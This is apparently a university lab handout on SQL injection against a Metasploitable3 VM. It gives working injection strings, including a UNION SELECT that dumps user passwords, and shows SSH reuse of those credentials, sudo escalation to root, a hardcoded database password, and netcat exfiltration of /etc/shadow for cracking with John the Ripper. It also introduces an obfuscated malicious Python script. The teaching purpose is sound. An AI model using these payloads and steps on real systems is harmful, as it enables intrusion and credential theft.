Exercise 04: SQL Injection

In this lab you will do the following:

- Construct and/or test out SQL injection strings to extract data from a MySQL server.
- Exploit bad local configuration & even worse policies.
- Experiment a bit with toy malware.

Please note that all questions (full lines) marked with † should be answered in the report which you submit as assignment 2.

Another note: whenever you stumble upon a command you do not know yet, try calling it with the "--help" or "-h" parameter as

```
<command name> --help
```

or check its manual page

```
man <command name>
```

In some cases, manual pages were replaced by the hypertext info system:

```
info <command name>
```

SQL Injection

Preparation

Startup Kali and Metasploitable3. Refresh on SQL injection, e.g., with the lecture slides or online sources.

From the assessments you did with nmap, gvm, or nessus in lab 5, notice that ports for TCP - Hypertext Transfer Protocol (HTTP) and a MySQL Server are open. What are the port numbers?

Nessus does say it was unable to get version number for the MySQL server because it is restricted. Reflect on that.
Questions:
†Does it mean the MySQL server is protected against cyber attacks? From Kali, try:

```
mysql -h <METASPLOITABLE IP> -P 3306
```

†How could that protection look like?
†And what exactly would it protect against?

Spying with SQL Injection

SQL injection attacks are among the most common attacks. As there is a web server running, let's try it out.

Try accessing the web server through a browser by just entering the IP number and port number: <IP>:80 and hit enter. Notice the fact that we actually get a directory listing. Is this a well configured web server? Let's go on by selecting "payroll_app.php"

Now just press the "OK" button without any input. Notice that the page takes the empty user name and password as correct input, even though it retrieves nothing. Can this be good?

Now press the back button in the browser. Lets try the first SQL injection. Assuming that the text field's input is used directly in a SQL query, as the input is obviously not sanity-checked, try to end a likely quotation mark and use a logical condition to overwrite the likely "SELECT ... WHERE ..." query. Try to construct your input yourself, or try the following. One ofter the other, try entering the following characters on any of the input field and hit ok:

Well ... itslearning has a security check involved which doesn't allow me to put in the next lines. How great is that? So, try combinations of three components. Fist, one single or double quote, followed by second, a logical OR 1=1. Third, check if you can need an extra character. For example a semicolon, to prevent execution of the rest of the statement, or a hash, a numerical wildcard, can also do wonders. Check the lecture slides for examples.

```
" OR 1=1
```

```
' OR 1=1
```

```
" OR 1=1#
```

```
' OR 1=1#
```

Questions:

- †Please shortly discuss your opinion of this web server's configuration concerning directly listings.
- †What type of SQLi attack works? Can you explain why?

Because of string concatenation and bad handling of user input, you should be able to see all users and their data. Boring information. Lets try to get both usernames and passwords instead. Nmap and Nessus revealed that there is a database on the server on port 3306. What service is running there?

We now know the usernames. We can assume that there is a table with user information. Often such a table will simply be titled "users". Here, we are making an assumption, based on our experience of developing systems without bothering about security. :) But seriously, just giving the table another name is security by obscurity and will not replace real security measures. Let's go on and try to get all usernames and passwords. Enter the following command into any of the fields:

```
' OR 1=1 UNION SELECT null,null,username,password FROM users#
```

In the above, the UNION enables you to execute two SQL statements. This is an example of a batch of SQL statements. Now scroll to the bottom of the webpage and you should see all you the users and their passwords. What do you notice about these passwords? What would you change to secure them?

Are these passwords also used for system authentication? Lets find out. Lets try remote login using ssh from the terminal in Kali. Enter the following and replace "username" with any of the usernames that you found from the SQL injection, and replace IP with the Metasploitable3's IP.

```
ssh username@IP
```

When prompted, enter the users password. Try them all.

Questions:

- †What is the & sign for?
- †What is the issue with the passwords in the data base and what could be done to secure them?
- †Which other problem allows you to get into the machine using ssh? How could this be prevented?

Elevation of Privilege

For going on, an interesting question is if we can elevate our privileges. A classical candidate for systems with shell access is sudo. There have been many security issues in sudo itself, but it is also very easy to fuck up the configuration.

The simples way though is to try, if there are credentials which gives you sudo and thus root access? Hint: the sudo configuration allows to limit use by groups. For many typical systems, you can check if a user can use default sudo root access is by checking groups with the

```
groups
```

command. If the output contains "sudo" or "wheel" (depending on the system), you might have sudo access.

Now enter

```
sudo -s
```

to get an interactive root shell, if available. If so, the user has root access and the command line prompt will change to the following

```
root@metasploitable3-ub1404:~#
```

Note: on many systems, the last letter of the prompt indicates if the prompt belongs to a normal user, e.g., "$", or root, e.g., "#".

This simple exploit highlights the power of using SQL injection. Root access with little effort. Of course, there were several underlying problems.
Questions:
†Which do you see, and how would you address them?
†Can SQL Injection expose an otherwise inaccessible data base server?
†How likely do you think an attack scenario as presented here is?

Using our Foot in the Door for Access to Other Services

Stay in the ssh connection with root access. Now that you are on the server, lets find the .php file for that payroll website. To search, enter on the command line:

```
sudo find / -iname "*payroll*"
```

You should get a list of locations with a file named payroll.

```
/home/kylo_ren/poc/payroll_app

/var/www/html/payroll_app.php

/var/lib/mysql-default/payroll
```

The .php file is in /var/www/html/

Questions:
†Is sudo necessary? What do we gain by using it?
†Are there other ways to search for a file? Which do you know?

Lets go to the folder. In the command line enter:

```
cd /var/www/html/
```

Lets analyze the php code and see if we can find interesting lines of code. Enter the following from the command line:

```
cat payroll_app.php
```

Notice the connection string to the MySQL database? Its the very first php block.

```
$conn = new mysqli('127.0.0.1', 'root', 'sploitme', 'payroll');

if ($conn->connect_error) {

    die("Connection failed: " . $conn->connect_error);
```

Questions:
†Can you find anything interesting?
Hint: its trying to connect to the MySQL database. Check the documentation

for the corresponding php functions.
†Whats the user name, password and database name?

Now you can easily access the database using that information and the mysql command, entering the password when prompted

```
mysql -h 127.0.0.1 -P 3306 -u root -p
```

Quick info about the above statement: It tries to connect to the MySQL server. "-h 127.0.0.1" specifies the data base server with localhost's IP. "-P 3306" is the port number. "-u root" specifies root as the user name. "-p" is to ensure that your are prompted for a password.
If all goes well you will get the following prompt:

```
mysql>
```

Now the database is your oyster. :) You can add, edit, delete tables, columns, rows, etc. To get out of MySQL database and to return to the previous command line prompt, enter: exit

Back to the .php code. Can you see the statement that takes username and password when you are using the application and creates an SQL statement? The portion of the code is below:

```
$sql = "select username, first_name, last_name, salary from users where username = '$user' a
```

Clearly the web application is using string concatenation to create the SQL statement using direct user input captured by $user and $pass. This is why SQL injection is possible.

Reflection:
†What was the problem with the web application?
†Which ports and services were the problem associated with?
†How did you exploit the vulnerability?
†And what were you able to do?
†How would you suggest to fix the problem? (Do some online research about SQL injections solutions.)
†Draft a shortly and crisply, the relevant parts of a policy trying to prevent these issues.

Fully Explore Local Accounts

Optional activity: (Performing the task is not mandatory, answering the question below is)
Whilst you are still connected through ssh with the user that has sudo and root access, try to use John to decrypt all passwords. Send the shadow and passwd file that are in /etc directory to your local kali machine. See Netcat commands below for sending and receiving files.
Receiving machine:

```
nc -lvp 1234 > shadow
```

sending machine:

```
nc ip_from_the_receiving_machine 1234 < shadow
```

When you have all files in your local machine. Go to the folder where those files are. Run the following command to combine the files and to place them in a format that John The Ripper understands:

```
unshadow passwd shadow > unshadowed.txt
```

Then run John The Ripper:

```
john unshadowed.txt
```

Now from here you need to pay attention to the comments produced on the screen. For example it might find only one combination of user name and password, but what does it suggest for you to get the rest?

Note: do you remember the issues we had with the fresh Kali images and John the Ripper? These were due to a switch to yescrypt, which we do not have to fear here. The metasploitable images are from the year yescrypt was submitted to the Hashing Competition.

Question:
†What are benefits of performing this scan after already having full access?

Post-Exploitation

Now you established user and root access to the vulnerable host.
Questions:
†Thinking as an attacker, what would your next steps be?
†As an operator, what would you do to counteract?

Obfuscated Malware

In this part, we will take a look at a malicious python script. We will see a demonstration of obfuscated code, while emphasising the importance of not blindly running scripts downloaded online.

Assume the following case: a user wanted a script to check if specific ports are open. The user found a script titled scan.py online and it had 3 good reviews on the site. As instructed on the website the user ran the script appropriately by entering the following commands on the terminal.

```
$ python scan.py
```

The script is in the file called "scan.pdf" below. You can copy and paste it and place it in scan.py file. To run it - then see the two statements above: scan.pdf The password for the PDF is: iwillnotusethisforevil By decrypting the PDF you formally agree that you will not use the code for evil.

Your job, as the security expert, is to analyze the script to find out if there is anything strange within the script. Take some time to analyze the code. I.e., analyse it without breaking your system. :-)

†Task 1 - Take your time to look at the code. Is it readable?
Task 2 - The script is Base64 encoded charset UTF-8. You need to decode the python script by copying the "jibberish" text that is between the quotes for the payload variable. You can use, e.g., base64encode.net or any Base64 decoder that you find online.
†Task 3 - What does the code do? Is it a malicious software and if so how would you classify it?
Task 4 (optional) - Delete the three statements that begin with payload, code and exec, and replace them with the decoded code. You can leave "#!/usr/bin/python" at the beginning of the file. Now make the decoded script run without crashing. Also see comments within each function that will help you with leveraging the functionality of the method. You can do this in Kali.

Hint: you need to adjust some ip addresses and have a two files available, for example place file (test.py) and (test.txt) in the folder /var/www/html and start your Apache server.
To do so, navigate to the folder, i.e., type in

```
cd /var/www/html
```

and type

```
touch test.py test.txt
```

, to create both files. To have a visible effect, edit test.py and type in the following two lines of code (to edit enter 'nano test.py'):

```
#!/usr/bin/python

print "Hello dummy"
```

Then edit text.txt and enter any text you like, e.g., "Got you! All my scripts come with extra functionality"